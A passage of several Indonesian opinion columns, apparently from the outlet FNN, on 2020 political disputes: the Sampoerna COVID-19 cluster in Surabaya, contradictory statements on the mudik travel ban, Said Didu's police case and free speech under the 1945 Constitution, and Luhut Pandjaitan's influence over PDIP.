pemogokan siswa. Mereka menuntut para orang tua dan pemimpin dunia bersungguh-sungguh menyetop kerusakan iklim. Lalu dalam forum PBB, Greta Thurnberg sampaikan pendapatnya dengan kritis dan berani, kepada Presiden dan Perdana Menteri. Mungkin sadar telah memamerkan kesalahan, Denny lalu berusaha berkelit. Dia bilang tidak merundung Almira melainkan keluarganya dan Partai Demokrat. Tapi tak perlu seorang jenius guna melihat dengan jelas bahwa Denny mencurigai kecerdasan Almira. Dia menilai, pikiran dan kecerdasan Almira sebagai serangan politik pada kebijakan Jokowi. Bahkan menudingnya sebagai alat politik orang tuanya belaka. Denny Siregar menggunakan Almira sebagai alat untuk menyerang SBY dan orang tua Almira sendiri. Lucunya, dia membayangkan dirinya adalah David yang melawan Goliath. Dia melawan Partai Demokrat. Denny juga memilih menggiring publik pada persepsi palsu itu. Sebab dia tak mampu membayangkan dirinya merunduk, merendahkan diri, memohon maaf pada seorang anak bernama Almira. Sebab Denny tahu, di hadapan Almira, sesungguhnya dialah si kuat. Dialah raksasanya. Dialah kekuasaan yang kebal dan sewenang-wenang. Penulis adalah Politisi Parta Demokrat

Netizen: Kesalahan Risma dalam Cluster Sampoerna

Oleh Mochamad Toha Jakarta, FNN - Seorang netizen, Mila Machmudah Djamhari, menulis sebuah status di Facebook-nya terkait Virus Corona Cluster Sampoerna. Berikut petikan statusnya dengan judul, “Kesalahan Risma Cluster Sampoerna”: Tanggal 2 April sudah tahu PDP dan dirujuk ke RS mengapa pasien tidak dirawat di RS… kok bisa kerja? Di mana pengawasannya? Teman intel Polrestabes pun cerita ke saya susah untuk mendapatkan data ODP - PDP - Positif… Kalau sampai ada PDP lepas kerja itu kesalahan Pemkot Surabaya… Teman saya dari Jakarta pulang ke Madiun dikarantina mandiri 14 hari, setiap hari dari puskesmas datang cek n ricek…Pasien meninggal dan terkonfirmasi positif tanggal 14 April… kok baru ketemu manajemen tanggal 18 April… Halooooooo… yang punya kekuasaan di Surabaya itu Walikota bukan pengusaha… Kondisi sudah darurat bila perlu dalam waktu kurang dari satu jam sudah menghadap itu managemen Sampoerna… Detik itu juga perintahkan untuk Pabrik ditutup…18 April - 26 April tim satgas koordinasi dengan Sampoerna… Tanggal 26 April pihak Sampoerna baru datang ke Balai Kota bertemu Walikota… diminta untuk Pabrik ditutup… Ga menyisan bar lebaran haji ketemunya?Terus tanggal 18-26 April itu bahas apa kok cek suwineeeeee….Penutupan pabrik baru dilakukan tanggal 27 April…. Astaghfirullah… 14 April sampai 27 April kerja apa ibu cantik jelita? Dibilang lelet ga terima… Lalu apa sebutannya?? Bisa diduga Pemkot tidak segera menutup pabrik ada sesuatu yang diperoleh dari pihak pengusaha…Tanggal 28-29 April baru diadakan rapid test dan karantina yang reaktif… byuuuuuuuhhhhh… Tanggal 2-28 April berapa orang yang kemungkinan terpapar… Ajuuuuuuurrrrr juuuummmm….Wes embuhlah… Ojo mocok tok… melok mikir… Ngelu ndasku… #Caleg Gagal Nesu Seperti diberitakan berbagai media, total karyawan Pabrik Rokok PT HM Sampoerna yang positif Virus Corona (Covid-19) mencapai 65 orang. Sebelumnya sudah 34 orang dinyatakan positif corona dan dua lainnya meninggal dan terbukti positif corona. Sebanyak 34 orang itu menjalani Tes SWAB Polymerase Chain Reaction (PCR) gelombang pertama kelompok karyawan di RSUD dr Soetomo, Surabaya. Kemudian, 29 orang lainnya bagian dari gelombang kedua kelompok karyawan, juga menjalani tes serupa. “Tes swab tahap kedua, tadi malam, kira-kita tengah malam kami dapat hasil lagi 29 yang positif,” ujar Gubernur Jawa Timur Khofifah Indar Parawansa, dilansir CNNIndonesia.com, Minggu (3/5/2020). Kini pihaknya terus berkoordinasi agar para karyawan tersebut bisa segera dirawat intensif di rumah sakit. Sebab, sejauh ini baru 25 yang dirujuk. Sementara, sisanya masih berada dan ditempatkan di salah satu hotel di Surabaya. “Tentunya mereka membutuhkan perawatan rumah sakit. Karena kemarin baru 25 yang dirujuk ke RS, sebagian diantaranya masih ada di ruang observasi, di salah satu hotel yang ada di Surabaya,” katanya. Tak hanya itu, Tim Tracing Gugus Tugas Penanganan Covid-19 Jatim juga telah melakukan penelusuran ke pondokan-pondokan tempat tinggal para pegawai Sampoerna yang positif tersebut. “Sudah men-tracing di mana pondokan-pondokan karyawan itu, para tetangga terdekat juga di-tracing, sudah mulai dilakukan,” ujarnya. Sebelumnya, pada gelombang pertama ada 46 orang yang menjalani tes swab PCR, hasilnya 34 orang diantaranya terkonfirmasi positif Covid-19. Jika ditambah dengan hasil gelombang kedua, dan 2 orang karyawan yang meninggal dunia, total kasus corona di Sampoerna mencapai 65 orang. Klaster penularan Covid-19 di PT HM Sampoerna Tbk, Rungkut Surabaya, bermula dari dua orang karyawan yang dinyatakan positif terinfeksi virus corona. Mereka sempat menjalani perawatan di rumah sakit, namun kemudian nyawa keduanya tak terselamatkan. Penelusuran orang-orang yang ditengarai memiliki kontak erat dengan dua karyawan itu pun dilakukan. Sebanyak 500-an pekerja menjalani rapid test, 100 diantaranya menunjukkan hasil rapid tesnya reaktif, mereka kemudian melakukan tes Swab PCR dan diobservasi. Kemunculan Klaster Sampoerna ini sempat menimbulkan polemik antara Pemprov Jatim dan Pemkot Surabaya. Hal itu bermula ketika Gubernur Khofifah menyebut, Pemkot Surabaya terlambat memberikan respon saat pertama kali kasus corona tersebut baru ditemukan. Pemkot Surabaya yang tak terima pun membantahnya. Kini Khofifah enggan memperpanjang polemik dengan Walikota Surabaya Tri Rismaharini itu. Menurut Gubernur Jatim, apa yang dilakukan pihaknya dengan menangani klaster penularan Covid-19 di Sampoerna, tak lain adalah untuk mencari jalan keluar agar penularannya tidak semakin parah. “Saya mohon kita tidak berpolemik, karena yang kita lakukan adalah how to solve the problem, how to solve the problem, how to solve the problem,” kata Khofifah di Gedung Negara Grahadi, Surabaya, Sabtu (2/5/2020). Menurut Khofifah, salah satu tugas pemimpin yang paling penting adalah melindungi nyawa dan jiwa rakyatnya. Hal itu, menurutnya, merupakan kewajiban yang harus diemban oleh pemimpin di level apapun. Menurut Ketua Rumpun Kuratif Gugus Tugas Percepatan Penanganan Covid-19 Jatim, dr Joni Wahyuhadi, Dinas Kesehatan Surabaya memang pernah menangani penularan Covid-19, saat pertama kali ditemukan kasus infeksi di Sampoerna, pada pertengahan April lalu. Tapi, pihak Sampoerna kemudian meminta pertolongan kepada Tim Gugus Tugas Percepatan Penanganan Covid-19 Jatim, pada 28 April 2020. Artinya, kataJoni, ada yang belum tuntas dalam hal penanganan di pabrik tersebut. “Tanggal 28 itu kan beliau [Sampoerna] kesini, kalau dari manajemen Sampoerna ke Ibu Gubernur, ke Grahadi, artinya itu ada yang belum selesai kan, karena mereka tahu masalah ini besar,” kata Joni, di lokasi yang sama. Menanggapi pernyataaan itu, Pemkot Surabaya menampik adanya keterlambatan informasi maupun penanganan Covid-19 yang terjadi di lingkungan karyawan PT HM Sampoerna Tbk, Rungkut Surabaya. Wakil Koordinator Hubungan Masyarakat Gugus Tugas Percepatan Penanganan Covid-19 Surabaya, M. Fikser mengatakan, pihak Pemkot Surabaya sendiri yang memanggil pihak perusahaan untuk mendorong agar semua karyawannya dilakukan rapid test secara masif. “Bahwa pemkot tidak pernah terlambat. Ibu Gubenur tidak benar. Awalnya pada tanggal 2 April yang bersangkutan itu sakit dan berobat ke klinik perusahaan. Pada 9 April 2020 pasien dirujuk di rumah sakit dan 13 April 2020 pasien melakukan pemeriksaan tes swab di rumah sakit yang berbeda,” kata Fikser, Sabtu (2/5/2020). Sampoerna sendiri sudah menutup pabriknya di Rungkut dan mengisolasi karyawannya. Disinfektasi dilakukan ke pabrik rungkut. Selain itu Sampoerna juga menjamin produknya aman dari corona karena sudah dikarantina lima hari sebelum didistribusikan. Penulis Wartawan Senior.

Duo Doni Melawan Menhub Budi

Oleh Hersubeno Arief Jakarta, FNN - Ada sebuah frasa menarik dalam bahasa Inggris yang berbunyi: Too many chiefs, not enough Indians. Jangan diartikan secara harfiah. “Terlalu banyak kepala (suku), tak ada yang mau jadi orang Indian biasa.” Frasa itu muncul pasca Perang Dunia II di Amerika Serikat (AS). Menggambarkan sebuah organisasi yang kebanyakan bos, tapi tidak memiliki jumlah staf yang memadai. Asal-usul frasa bermula setelah PD II, pasukan AS didemobilisasi. Struktur komandonya njomplang. Kebanyakan Kolonel, dengan jumlah prajurit yang terbatas. “You can’t have all chiefs and no Indians,” kata Wakil Komandan Angakatan Udara AS Letjen Ira Clarence Eaker. Belakangan frasa itu juga digunakan untuk menggambarkan situasi sebuah organisasi, perusahaan “terlalu banyak yang jadi bos, akibatnya staf, anak buah jadi bingung.” Frasa itu kelihatannya kok sangat tepat ya, menggambarkan situasi Indonesia hari-hari ini. Tapi kalau dipikir-pikir, frasa itu bisa juga kita ubah menjadi : No Chief, too many Indians. Tidak ada pemimpin, akibatnya para anak buah jadi pada ribut sendiri. Masing-masing mengambil keputusan dan kemudian saling menegasi dan membatalkan. Akibatnya para staf, apalagi rakyat kelas bawah jadi bingung. Siapa yang harus didengar dan omongannya dituruti? Ya soal mudik —-psstttt jangan dicampur aduk dengan pulang kampung ya—Anda bingung tidak omongan pejabat mana yang harus kita pegang dan turuti? Yang satu ngomong boleh mudik, dengan catatan “mempunyai keperluan mendesak. ”Sementara pejabat lainnya menyatakan “mudik tetap dilarang. Titik!” Saling membatalkan Agar dapat tergambar bagaimana proses pengambilan keputusan pemerintah sangat acakadut, mari kita cermati kronologinya. Saat Luhut B Panjaitan menjadi Menhub ad interim, terbit aturan larangan mudik di tengah pandemi. Peraturan Menhub No 25 Tahun 2020 itu diteken Luhut Kamis (23/4). Dalam Permenhub tersebut diatur kendaraan transportasi tak diperkenankan keluar-masuk zona merah penyebaran virus Corona. Peraturan berlaku mulai 4 April sampai 30 Mei 2020. “Adapun ruang lingkup dari peraturan ini adalah larangan sementara penggunaan sarana transportasi umum, baik untuk transportasi darat, laut, udara, dan kereta api, serta kendaraan pribadi dan sepeda motor," ujar Jubir Kemenhub Adita Irawati. Hanya sepekan berjalan Kamis (30/4) Adita mengatakan Kemenhub tengah membahas masukan berkaitan aturan larangan mudik di tengah pandemi. Masukan itu berasal dari Kemenko Perekonomian. Mereka khawatir larangan mudik mempengaruhi roda perekonomian nasional yang bisa menimpa berbagai sektor. Bagi yang paham, pengumuman itu tidak terlalu mengejutkan. Sangat mengkhawatirkan dampak ekonomi dibanding kesehatan, sejauh ini telah menjadi madzhab resmi yang dianut pemerintah. Dalam wawancara dengan RRI Sabtu (2/5) Menko Maritim dan Investasi Luhut Panjaitan menyatakan tengah mengkaji untuk membuka kembali kawasan wisata Ancol. Pertimbangnya melihat trend perlambatan penyebaran Covid-19. "Kita berdoa mestinya (kasus penyebaran corona) selesai pertengahan Juni. Atau bahkan dekat-dekat Lebaran, sudah ada sebagian (fasilitas publik) yang terbuka. Misalnya Ancol," ujarnya Ahad (3/5) Menko Polhukam Mahfud MD melalui akun twitternya mencuit, akan ada relaksasi PSBB, agar ekonomi masyarakat tetap berjalan. “Ada daerah yang menerapkan PSBB dengan ketat, sampai masyarakat pun sulit bergerak hingga sulit mencari uang sulit. Namun, di tempat lain ada pula masyarakat yang melanggar aturan PSBB itu dengan mudahnya,” ujar Mahfud. Senin (4/5) melalui akun youtube milik Sekretariat Presiden menyatakan akan melakukan evaluasi PSBB. “Ini perlu dievaluasi. Mana yang penerapannya terlalu over, terlalu kebablasan dan mana yang masih terlalu kendur," ujar Jokowi dalam kabinet terbatas. Dari berbagai statemen itu pesan yang ditangkap publik akan ada relaksasi PSBB, termasuk aturan mudik. Selasa (5/5) Adita kembali mengumumkan “"Aturan turunan dari peraturan menteri perhubungan nomor 25 saat ini sedang dalam finalisasi.” Wartawan kemudian menuliskan judul: “Warga Boleh Bepergian Dalam Situasi Mendesak, Aturannya Keluar Sore Ini.” Lama menghilang dari publik karena terjangkit Corona, Menhub Budi Karya Sumadi Rabu (6/5) tiba-tiba muncul membuat pengumuman penting. Terhitung tanggal 7 Mei pemerintah akan melonggarkan moda transportasi publik. "Rencananya Gugus Tugas Covid-19 yang akan mengumumkan. Intinya adalah penjabaran bukan relaksasi. Dimungkinkan semua moda angkutan udara, kereta api, laut dan bus kembali beroperasi dengan catatan harus pakai protokol kesehatan," ujar Budi. Alasan pelonggaran itu agar perekonomian tetap berjalan. Penjelasan Budi agak membingungkan. Di satu sisi dia menyatakan pemerintah melonggarkan seluruh moda transportasi. Artinya publik bebas lagi menggunakannya, walaupun diembel-embeli dengan “untuk kepentingan mendesak dan mematuhi protokol Covid-19. Media dan publik mengartikan hal itu merupakan pencabutan larangan mudik. Untuk apa semua moda transportasi dibebaskan? Apa iya seperti dikatakannya, hanya agar anggota DPR dapat kembali ke daerah, bertemu konstituen di daerah pemilihan. Bukan untuk mudik. Tak lama setelah pengumuan Budi, Kepala BNPB sekaligus Kepala Gugus Tugas Covid-19 Doni Monardo menegaskan mudik tetap dilarang. “Tidak ada perubahan peraturan tentang mudik, artinya mudik dilarang, titik. Saya tegaskan sekali lagi, mudik dilarang, titik," kata Doni dalam konferensi pers di Kantor BNPB, Jakarta, Rabu (6/5). Tak cukup hanya Doni Monardo, Kantor Staf Kepresidenan (KSP) merasa perlu harus menjelaskan juga. "Prinsipnya tetap adalah pelarangan mudik dan pembatasan dan pemberlakuan protokol kesehatan yang ketat, pernyataan Menhub itu sebenarnya memuat pengecualian memuat disclaimer yaitu mereka yang boleh melakukan perjalanan itu,” kata Tenaga Ahli Utama Kantor Staf Presiden Donny Gahral Adian. Penjelasan Donny Gahral menjadi perhatian publik. Apalagi detik.com bahkan membuat judul : Istana Luruskan Pernyataan Menhub Soal Izinkan Lagi Transportasi Beroperasi. Judul itu kemudian diubah menjadi: Penjelasan Istana soal Pernyataan Menhub Izinkan Lagi Transportasi Beroperasi. Sampai disini masalahnya jadi menarik. Mengapa KSP harus turun tangan. Apalagi kalau benar “meluruskan.” Apalagi yang melakukan itu hanya seorang staf sekelas Donny? Apa tidak cukup penjelasan Doni Monardo? Dia Kepala Gugus Tugas yang mendapat mandat untuk penanganan Covid. Lebih otoritatif. Sebagai Kepala BNPB posisinya juga sekelas menteri. Bila yang menjelaskan dan meluruskan itu Jubir Istana Fadjroel Rachman masih bisa dipahami. Dia bicara dalam kapasitas Jubir Jokowi. Atas nama Jokowi yang secara hirarki adalah atasan Menhub. Kalau toh tidak langsung istana, harusnya yang menyampaikan adalah seorang Menko. Kebetulan Menko Luhut sebelumnya sempat menjabat sebagai Menhub ad interim. Lha kok ini malah staf Kaespeh…….. Hmmmmm…… No Chief too many Indians. Penulis Wartawan Senior.

Said Didu Penyambung Suara Bung Hatta dan Profesor Soepomo

By Dr. Margarito Kamis Umar Bin Khatab berkata kepada Nabi Muhammad SAW, “Wahai Rasulullah, beri aku pengecualian untuk Suhail ibn’Amr. Akan kucabut lidahnya biar tak bicara seenaknya dimana pun selamanya. Nabi menjawab “Kalau Aku menghukum dengan cara begitu, Allah pun menghukumku dengan cara yang sama, meskipun aku seorang Nabi. Siapa tahu suatu saat nanti ia menempati kedudukan yang tak dapat lagi kau mencela.” (Dikutip dari Buku Perang Muhammad, oleh Nizar Abazhah) Jakarta FNN – Kamis (07/05). Muhammad Said Didu, pria Bugis kelahiran Pinrang, Sulawesi Selatan, terkenal lugas, ceplas-ceplos dalam semua isu kebangsaan dan kenegaraan. Pria ini sekarang berurusan dengan Polisi. Beliau dilaporkan, entah langsung atau tidak oleh Pak Luhut Binsar Pandjaitan, Menteri Kordinator Maritim dan Investasi atau anak buahnya, ke Bareskrim Kepolisian Republik Indonesia. Kepolisian telah bekerja. Muhammad Didu telah dipanggil untuk diperiksa. Tetapi corona membuat dia tak bisa memenuhi panggilan itu. Apakah Polisi akan memangginya sekali lagi? Kemungkinan itu harus diletakan di atas meja. Konsekuensinya, meja ujian atau perjuangan Muhammad Didu, suka atau tidak, tidak boleh hanya dihiasi dengan hukum-hukum pidana. Tidak. Itu senjata, yang kekuatannya hanya sekelas kerupuk. Pergilah ke gudang konstitusi bernegara. Juga ke UUD 1945. Temukanlah digudang itu semua hasrat para pendiri bangsa ini dalam merumuskan UUD Tahun 1945 dulu. Sajikan dan jadikanlah itu teman bincang-bincang. Teman pikir kala buka puasa dan sahur. Dan buatlah panorama buka puasa dan sahur untuk puasa esok hari seindah pelangi di ujung senja dengan balutan sholawat kepada Nabi Allah, Muahammad Sallallahu Alaihi Wasallam, kekasih terhebat-Nya itu. Mengapa begitu? Nama subyek dalam suara Muhammad Said Didu itu mengharuskan penjelasan, Butuh pemetaan secara detail, dan bertanggung jawab dari sudut tata negara. Ini disebabkan subyek yang disebut dalam “suara” Muhammad Didu, yang saat ini dikualifikasi fitnah, dalam sifatnya terpadu sangat ketat dengan tata negara. Dimensi elementer tata negara memanggil setidaknya tiga hal untuk dibuat dengan jelas, sejelas-jelasnya sebelum pemeriksaan bekerja dengan tensinya sendiri. Untuk kepentingan kejelasan itu, maka ketiga soal itu disajikan secara singkat dibawah ini. Pertama, apakah yang dimaksud dengan konsep “menteri” itu? Apakah konsep “menteri” itu menunjuk “nama jabatan” atau menunjuk pada “nama orang”? Dalam pertalian yang ketat dengan konsep itu, soal yang muncul mengikutinya secara logis adalah apa “tanggung jawab” menteri? Apakah konsep “tanggung jawab menteri” menunjuk pada tangung jawab jabatan atau orang? Kedua, apakah konsep “tanggung jawab” seorang menteri? Apakah bentuk kongkrit tanggung jawab menteri hanya meliputi tanggung jawab hukum? Apakah bentuk tanggung jawab menteri hanya dipertalikan dengan pengelolaan dan tanggung jawab penggunaan keuangan negara? Apakah melaksanakan program dan kegiatan kementerian, tidak menjadi unsur tanggung jawab menteri? Ketiga, bila tanggung jawab “menteri” sebatas atau dikerangkakan secara terbatas pada hukum (pengelolaan dan tanggung jawab keuangan negara, pelaksanaan program dan kegiatan kementerian), maka apa relefansi hak yang saat ini diberi kapasitas konstitusi sebagai hak asasi warga negara berupa “berkumpul, berserikat dan menyampaikan pendapat? Mari tenggelam dalam buku Profesor Muh. Yamin dan RM. A. B Kusuma meminum air konsep menteri, yang tertera pada soal pertama di atas. Apa yang dimaksud oleh pembentuk UUD 1945 pada pembahasan masalah ini di tahun 1945? Tanggal 11 Juli 194, Panitia Kecil Perancang UUD 1945 telah selesai menyiapkan draf UUD 1945. Khusus kementerian diatur pada Bab III. Judulnya Kementeran Negara. Bab ini hanya berisi satu pasal, tepatnya pasal 16. Isi selengkapnya pasal 16 (rancangan) itu adalah (1) Presiden dibantu oleh Menteri-menteri Negara. (2) Menteri-menteri itu diangkat dan diberhentikan oleh Presiden. (3) Menteri-menteri itu memimpin departemen pemerintahan. Rancangan UUD ini dibahas lebih jauh oleh PPKI pada tanggal 15 Juli 1945. Pada pembahasan yang dihadiri relatif lengkap oleh anggota PPKI inilah, muncul beberap argumen. Argumen-argumen menggambarkan dengan jelas kehendak pembentuk UUD 1945 tentang konsep menteri. Hormat saya untuk semua anggota PPKI, tetapi saya menonjolkan dua argumen. Kedua argumen itu sangat dominan. Kedua argumen itu adalah argumen Profesor Soepomo (Ketua Panitia Kecil Perancang UUD 1945) dan Moh. Hatta (anggota). Argumen-argumen itu muncul pada saat Profesor Soepomo menerangkan secara umum draf UUD 1945. Lalu Pak Hatta meminta kesempatan bicara dan permintaan Pak Hatta itu disetujui dan dipersilahkan oleh Pak Radjiman, Ketua sidang (semoga amal baik mereka diterima disisi Allah Subhanau Wata’ala). Bung Hatta lalu bebricara, dengan menyodorkan perspektif perbandingan sekadarnya tentang sistem pemerintahan. Amerika diambil sebagai salah contohnya. Setelah isu itu, Bung Hatta, dalam kata-katanya menyatakan “karena itu ada baiknya kalau disini diadakan kemungkinan bahwa Minister atau menteri bertanggung jawab. Sebab keduanya sama-sama menjalankan kekuasaan undang-undang.” Tambahan, kata bung Hatta selanjutnya “tanggung jawab itu ada penting dalam gerakan kita. Dalam susunan negara kita, supaya yang memegang departemen betul-betul adalah pemimpin rakyat. Janganlah nanti lambat-laun semangat pegawai saja, dengan tidak mempunyai tanggung jawab yang kuat menjalar dalam pemerintahan negara. Bung Hatta melengkapi argumennya dengan contoh menteri-menteri di Eropa, khususnya Nederland. Kata Bung Hatta, sesudah Grondwet tahun 1838 menetapkan tanggung jawab menteri, sekalipun itu tak ditulis dalam Grondwet, tetapi di dalam dasarnya masih 80 tahun berjalan. Pandangan ini direspon oleh Profesor Soepomo dengan argumen yang akan saya sajikan berikut ini. Profesor Soepomo mengatakan sistem yang sedang dirancang tidak mengikuti sistem parlementer. Jadi Menteri hanya pembantu daripada Kepala Negara. Tetapi dalam praktek nanti kita harus melihat bagaimana jalannya. Kata Soepomo selanjutnya, kita harus percaya kebijaksanaan Kepala Negara dan juga pembantu-pembantunya yang “bukan pembantu biasa, akan tetapi orang-orang yang sangat terkemuka, juga ahli negara yang bukan saja mengingat “publieke opinie” perasaan-perasaan umum dalam DPR. Akan tetapi mengerti juga “perasaan umum di dalam negara mereka umumnya” (semua tanda petik dari saya). Begitulah pandangan menembus zaman kedua bapak pendiri bangsa yang mempersiapkan UUD 1945 itu. Apa yang dapat diambil sebagai esensi dari pernyataan kedua negarawan besar itu tentang menteri dan kementerian atau departemen? Menteri, tidak dapat disebut lain, selain menunjuk pada jabatan tertinggi di Departemen. Itu pertama. Tidak lebih. Kedua, pemegang jabatan itu tidak pernah lain, selain adalah orang. Orang itulah pemangku jabatan yang namanya menteri. Orang (menteri) inilah yang dikehendaki oleh baik Bung Hatta maupun Profesor Soepomo harus menyerap, merespon, apa yang Profesor Soepomo sendiri katakan “publieke Opinie” atau “perasaan umum” di dalam negara. Masalahnya sekarang bagaimana “publieke Opinie” atau “perasaan umum” itu ada diketahui, dan diketahui oleh siapa? Oleh Menteri. Apa konsekuensinya? Menteri tidak memiliki kapasitas pribadi, atau tidak berkapasitas sebagai individu dalam makna natural - natural person - tetapi individu dalam makna “legal person” diciptakan oleh UUD 1945. Konsekuensi selanjutnya adalah selama orang tersebut, siapapun dia, berstatus menteri, maka orang kapasitas pribadi, natural person terserap ke dalam kapasitasnya sebagai menteri. Status atau kapasitas hukumnya sebagai pribadi atau natural person terabsorbsi sepenuhnya dalam status sebagai menteri. Menteri menjadi legal person. Bukan natural person. Apa akibatnya? Semua tindakannya bernilai dan dianggap sebagai tindakan jabatan. Karena sebagai tindakan jabatan, maka seluruh akibat dan hal hukum, apapun itu, tidak dapat, dengan semua alasan apa saja yang mungkin dikualifikasi dan ditujukan pada pribadi. Mengapa? Pribadi naturalnya telah terabsorbsi ke dalam status menteri. Kalau tidak ada orang yang bicara, karena dikekang, takut dipenjara, dituduh fitnah dan sejenisnya, bagaimana menteri bisa tahu tentang perasaan umum yang dipikirkan oleh Bung Hatta itu? Di titik inilah “pandangan Bung Hatta menjadi penyedia, sekaligus lentera untuk Menteri mengetahui tentang “publieke opinie” atau “perasaan umum” itu. Apa itu? Hak bersuara. Kata Bung Hatta “hendaklah kita memperhatikan syarat-syarat supaya negara yang kita bikin, jangan menjadi negara kekuasaan.” Kita menghendaki negara pengurus. Kita membangun masyarakat baru yang berdasar pada gotong royong dan usaha bersama.Tujuan kita ialah membaharui masyarakat. Tetapi di sebelah itu, janganlah kita memberikan kekuasaan yang tidak terbatas kepada negara untuk untuk menjadikan di atas negara baru itu suatu negara kekuasaan. Sebab itu, kata Bung Hatta selanjutnya, ada baiknya dalam salah satu fasal yang mengenai warga negara disebut jaga di sebelah hak yang sudah diberikan. Misalnya, tiap-tiap warga negara rakyat Indonesia “supaya tiap-tiap warga negara jangan takut mengeluarkan suaranya.” Pembaca FNN yang budiman, setelah Muh. Yamin juga bicara dalam nada yang sama, pendangan Hatta itu disetujui. Persetujuan itu dicapai pada tanggal 16 Juli 1945 dan dikristalkan menjadi rumusan pasal 28 UUD 1945 yang sedang dirancang itu. Isi selengkapnya “Kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan Undan-Undang”. Hebat betul Para perancang UUD 1945 ini. Mereka tidak licik, tidak picik dan tidak kerdil. Mereka tidak menyediakan teknis, tetapi sarana konstitusi dalam memastikan negara yang sedang dirancang dan pemerintah akan bekerja setelah negara terbentuk, tidak menjadi negara penindas, tiranis. Itulah cara mereka, para Bapak Bangsa ini mengontrol, membuat jaminan negara tidak berubaha menjadi negara kekuasaan. Caranya, sekali lagi, memberi kepada warga negara hak bersuara, bicara dan hak mengkritik penguasa. Dengan hak itu, orang tidak takut bicara, karena akan ditindas, dipenjara dengan segala macam tuduhan artificial khas negara kekuasaan. Bicara tentang apa? Bicara tentang kehidupan bernegara, bicara postur aktual, nyata pemerintah, Presiden dan menteri-menteri yang merupakan pembantu-pembantunya menyelenggarakan pemerintahan. Hak bersuara adalah cara mereka para negarawan itu memungkinkan perasaan umum itu terlihat oleh pemerintah, Presiden dan menteri-menteri. Sungguh logis. Hebat para pendiri bangsa. Apa yang terjadi bila seorang menteri, siapapun orang itu, dikementerian apapun orang itu berada, tidak sungguh-sungguh, tidak bergelora, tidak aktif melaksanakan program dan kegiatan kementerian yang merupakan kewajiban konstitusionalnya? Kesungguhan, keaktifan, gelora kerja menteri adalah hal baik. Itulah yang dihasrat, dikehendaki oleh oleh Bung Hatta dan Profesor Soepomo. Itulah makna tanggung jawab non hukum. Publieke opinie atau perasaan umum, tidak dapat dimaknai lain, selain sebagai satu-satunya cara para pembuat UUD 1945 itu, mengharuskan menteri, bukan hanya bekerja secara sungguh-sungguh, aktif dalam semua situasi, tetapi lebih dari itu. Sungguh manis impian para negarawan ini. Menteri itu nama-nama jabatan, dan jabatan itu hanya bisa di dunia manapun, dipangku oleh orang. Menteri, siapapun dia, yang aktif melaksanakan tugas yang didefenisikan dalam Perpres pembentukan Kementerian itu, selalu baik, selalu bagus untuk alasan apapun. Mengkahiri kasus ini dengan cara mengenal, mengamalkan dan menghidupkan semua kehendak para pembentuk UUD 1945, akan membuat bangsa menemukan jalan terang menjemput hari eksok yang hebat. Demokrasi? Unsur-unsur ganasnya harus dikenali, lalu singkirkan. Mari bersandar penuh pada kehendak pembentuk UUD 1945, yang terang seterang hati terdidik. Semoga. * Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Luhut Memang Hebat, Megawati dan PDIP Tak Berkutik

By Asyari Usman Jakarta, FNN - Luhut Binsar Pandjaitan (LBP) boleh-boleh saja tak disukai banyak orang. Tapi, harus diakui beliau adalah politisi yang hebat. Dengan halus dan tak terasa, Pak Luhut membuat Banteng PDIP tak bisa berbuat apa-apa. Tak berkutik. Sekarang, nyaris tidak ada lagi pengaruh partai terbesar di koalisi Indonesia Kerja itu terhadap Presiden Jokowi. Jokowi boleh dikatakan sudah lepas sepenuhnya ke pangkuan LBP setelah berlangsung tarik-menarik selama 2-3 tahun ini. Itulah kehebatan Pak Luhut. Dalam istilah bisnis, Pak Luhut kini menjadi ‘share holder’ (pemegang saham) tunggal atas Jokowi. Pak Luhut memang lihai. Piawai berpolitik. Ketika Jokowi memerlukan kendaraan untuk pilpres 2019, Luhut membiarkan Jokowi berinteraksi intensif dengan PDIP, khususnya dengan Bu Ketum Megawati Soekarnoputri. Luhut mengkondisikan seolah-olah hubungan Jokowi-Mega akrab apa adanya. Ini membuat Bu Mega merasa yakin bahwa Jokowi masih ada dalam genggamannya. Jokowi pun sangat ‘pintar’ bermain. Selama proses prakampanye dan masa kampanye pilpres 2019, Jokowi menunjukkan dirinya adalah ‘orang PDIP asli’. Semua arahan Bu Mega dia ikuti. Ketika terjadi sengketa hasil pilpres, Jokowi sangat memerlukan Bu Mega. Sampai akhirnya Jokowi menang di MK. Perananan politik Bu Mega dan PDIP sangat besar dan sentral. Harus diakui pula bahwa Jokowi berhasil memainkan drama yang membuat Bu Mega dan PDIP terpukau. Akting Jokowi sempurna sekali. Ketika Jokowi memerlukan legitimasi dari Prabowo Subianto (PS), peranan Bu Mega sangat krusial. Prabowo selalu menolak ketika Luhut mencoba merangkulnya. Tapi, ketika Bu Mega yang membujuk, Prabowo langsung mengekor. Itulah kehebatan Bu Mega. PS bersedia berdamai. Bahkan bersedia menjadi bawahan Jokowi. Luhut tidak akan mampu menaklukkan PS sebagaimana Bu Mega bisa melakukan itu tanpa hura-hura. Ini kehebatan Bu Ketum. Jadi, kedua politisi ini sama-sama hebat. Tetapi, semua kehebatan politik pilpres 2019 ternyata ada di tangan Pak Luhut. Bukan di tangan Bu Mega. Begitu Jokowi dilantik, mulailah berjalan strategi LBP. Perlahan tapi pasti, Jokowi menunjukkan bahwa dia tidak lagi memerlukan Bu Mega. Hajat Jokowi sudah tercapai. Jabatan presiden sudah di tangan, dan Prabowo sudah dijinakkan oleh Bu Mega. Jalan Jokowi menjadi lempang dan mulus. Hari ini, PDIP berteriak-teriak bagai orang protes. Mereka dongkol terhadap Jokowi yang terlalu besar memberikan kekuasaan kepada Pak Luhut. Kebetulan, ada isu yang bisa mereka mainkan. Yaitu, Perppu No. 1 Tahun 2020 tentang penanganan Covid-19 dengan segala akibat ekonomi dan keuangan yang bakal muncul. Orang menyebutnya Perppu Corona. Dua politisi ‘outspoken’ di PDIP, Masinton Pasaribu dan Arteria Dahlan, menyerang Perppu Corona. Mereka mengutuk keras Perppu itu. Kata Masinton, Perppu ini bulat untuk kepentingan oligarki –sekelompok kecil orang yang berkuasa. Arteria mengatakan, Perppiu itu menunjukkan ada ‘penguasa baru di atas presiden’. Ada semacam ‘presiden di atas presiden’. Pak Luhut dan Jokowi tak menghiraukan teriakan keras PDIP itu. Tentu saja LBP punya kalkulasi politik yang cermat. Beliau tidak sembarangan. Pak Luhut tahu persis bagaimana cara mendiamkan PDIP. Dia sudah siapkan langkah-langkah yang terukur untuk membuat Bu Mega dan PDIP tak berkutik. Jokowi juga 